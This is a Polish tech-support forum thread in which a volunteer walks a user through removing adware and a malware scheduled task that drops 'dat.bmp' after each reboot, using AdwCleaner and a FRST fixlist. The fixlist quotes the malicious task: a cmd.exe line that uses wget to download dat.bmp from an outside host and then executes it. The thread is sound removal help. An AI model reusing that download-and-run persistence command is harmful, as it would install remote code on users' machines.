• Ogłoszenie:

Dat.bmp - wyskakuje po każdym restarcie systemu

Bezpieczeństwo systemów, usuwanie wirusów, dobieranie programów antywirusowych. Obowiązkowe logi w tym dziale: trzy z FRST + Gmer.

Dat.bmp - wyskakuje po każdym restarcie systemu

Postprzez Pustelnik 21 Sie 2015, 16:15

reklama
Problem podobny jak tutaj:
http://forum.komputerswiat.pl/topic/66362-datbmp-pojawia-sie-po-ka%C5%BCdym-uruchomieniu-systemu/
ale proszę o konkretne działania jakie mam poczynić :)

Druga sprawa chociaż mniej ważna - nie działają mi USB 3.0 - ale tylko na tym systemie, na linuxie jest ok (mam w laptopie dwa USB 3.0) natomiast USB 2.0 (jedno) działa, męczyłem się z tym już wiele i nie wiem dlaczego, widzę, że w logu też to się pojawia ale wątpie, że to przez jakiś syf bardziej coś, ze sterownikami ale nie mam pomysłu bo już miałem wiele kombinacji - na świeżym systemie USB działają prawidłowo, automatycznie instalują się sterowniki.

Pozdrawiam
Załączniki
Shortcut.txt
(62.84 KiB) Ściągnięto 87 razy
Addition.txt
(44.88 KiB) Ściągnięto 72 razy
FRST.txt
(31.65 KiB) Ściągnięto 88 razy
Awatar użytkownika
Pustelnik
~user
 
Posty: 639
Dołączenie: 20 Sty 2006, 15:52
Miejscowość: -: -: >Śląsk< :- :-
Pochwały: 12



Dat.bmp - wyskakuje po każdym restarcie systemu

Postprzez ordynat 21 Sie 2015, 17:31

1) Użyj Adw-Cleaner http://www.programosy.pl/program,adwcleaner.html
najpierw kliknij na SZUKAJ (SCAN), a dopiero po zakończeniu skanowania, gdy uaktywni się przycisk USUŃ (CLEANING), to kliknij na niego.
Pokaż raport z niego C:\AdwCleaner\AdwCleaner[S].txt

2) Otwórz Notatnik i wklej w nim:
HKLM-x32\...\Run: [NWEReboot] => [X]
Reg: reg delete "HKU\.DEFAULT\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes" /f
C:\Users\Tomek\Links\farmer.lnk
Toolbar: HKLM-x32 - No Name - {95188727-288F-4581-A48D-EAB3BD027314} - No File
S3 SAP DBTech-.M770609; F:\seetec5\sapdb\depend\pgm\kernel.exe [X]
S3 SAP DBTech-.M770609 (slow); F:\seetec5\sapdb\depend\pgm\slowknl.exe [X]
S2 SAP DBTech-SEETEC; F:\seetec5\sapdb\depend\pgm\kernel.exe [X]
S3 SAP DBTech-SEETEC (slow); F:\seetec5\sapdb\depend\pgm\slowknl.exe [X]
S2 XServer; F:\seetec5\sapdb\programs\pgm\serv.exe [X]
C:\ProgramData\dat.bmp
C:\ProgramData\wget.exe
Task: {048D7EF8-266C-4954-8930-54370891C915} - System32\Tasks\Desk 365 RunAsStdUser => C:\Program Files (x86)\Desk 365\desk365.exe <==== ATTENTION
Task: {079CB99D-FE6A-44D9-824C-BAAB412CC704} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" &amp; ping 1.1.1.1 -n 300 -w 1000 &amp; wget -t 0 --retry-connrefused -O dat.bmp http://blockchainin.in/dat.bmp?data=vUxVB6a6AKRRLHhg73Hd;AVCI;1406898225 &amp; start cmd /R dat.bmp <==== ATTENTION
Task: {3F62F03B-5DF0-459A-B30D-7D2F798AF2DD} - System32\Tasks\DealPly => C:\Users\Tomek\AppData\Roaming\DealPly\UPDATE~1\UPDATE~1.EXE <==== ATTENTION
Task: {BE3F3E2A-B2F0-4832-923D-C549804C60F3} - System32\Tasks\YourFile DownloaderUpdate => C:\Program Files (x86)\YourFileDownloader\YourFileUpdater.exe <==== ATTENTION
Task: {C2765664-04EB-446C-BC1C-9115D5C2A801} - System32\Tasks\{949A4165-C48D-4436-8267-2C4E57AE0E75} => pcalua.exe -a E:\Pobrane\LeagueofLegends_EUNE_Installer_04_21_14.exe -d C:\Windows\SysWOW64 -c /groupsextract:100;101; /out:"C:\Users\Tomek\AppData\Roaming\Riot Games\League of Legends\prerequisites" /callbackid:5584
Task: {D5012ADB-1381-4F0E-9C6F-15E56B4A1D76} - System32\Tasks\{0224700F-76D4-449E-84CB-AC8EE9D68F0A} => pcalua.exe -a C:\Users\Tomek\Downloads\MySQL-Workbench(19040).exe -d C:\Users\Tomek\Downloads
Task: {E50A6656-1301-40A1-99F7-18134E91BC75} - System32\Tasks\{1B1A830A-79CC-4E3B-BF6B-51016281A873} => pcalua.exe -a F:\wamp\www\importuzp\xml\20131127.exe -d F:\wamp\www\importuzp\xml
C:\Program Files (x86)\Desk 365
C:\Users\Tomek\AppData\Roaming\DealPly
C:\Program Files (x86)\YourFileDownloader
C:\Users\Tomek\Links\lib.lnk
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST.exe
Uruchom FRST i kliknij przycisk Fix.
Powstanie plik fixlog.txt.
Daj ten log.

Druga sprawa chociaż mniej ważna - nie działają mi USB 3.0 - ale tylko na tym systemie, na linuxie jest ok (mam w laptopie dwa USB 3.0) natomiast USB 2.0 (jedno) działa, męczyłem się z tym już wiele i nie wiem dlaczego, widzę, że w logu też to się pojawia ale wątpie, że to przez jakiś syf bardziej coś, ze sterownikami ale nie mam pomysłu bo już miałem wiele kombinacji - na świeżym systemie USB działają prawidłowo, automatycznie instalują się sterowniki.

To nie do tego działu forum.
.
ordynat
~user
 
Posty: 4765
Dołączenie: 02 Kwi 2010, 11:18
Pochwały: 866



Dat.bmp - wyskakuje po każdym restarcie systemu

Postprzez Pustelnik 21 Sie 2015, 17:51

przesyłam logi po obu krokach
Załączniki
Fixlog.txt
(7.16 KiB) Ściągnięto 75 razy
AdwCleaner[C1].txt
(2.01 KiB) Ściągnięto 65 razy
Awatar użytkownika
Pustelnik
~user
 
Posty: 639
Dołączenie: 20 Sty 2006, 15:52
Miejscowość: -: -: >Śląsk< :- :-
Pochwały: 12



Dat.bmp - wyskakuje po każdym restarcie systemu

Postprzez ordynat 21 Sie 2015, 19:51

Otwórz Notatnik i wklej w nim:
DeleteQuarantine:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST. Uruchom FRST i kliknij w Fix.
przez SHIFT+DEL usuń pozostały folder C:\FRST.

W Adw-Cleaner kliknij na przycisk Odinstaluj (UNINSTALL).
.

Autor postu otrzymał pochwałę
ordynat
~user
 
Posty: 4765
Dołączenie: 02 Kwi 2010, 11:18
Pochwały: 866



Dat.bmp - wyskakuje po każdym restarcie systemu

Postprzez Pustelnik 21 Sie 2015, 21:34

Dziękuję, problem został naprawiony.

Pozdrawiam
Awatar użytkownika
Pustelnik
~user
 
Posty: 639
Dołączenie: 20 Sty 2006, 15:52
Miejscowość: -: -: >Śląsk< :- :-
Pochwały: 12




Powróć do Bezpieczeństwo

Kto jest na forum

Użytkownicy przeglądający to forum: Brak zarejestrowanych użytkowników oraz 20 gości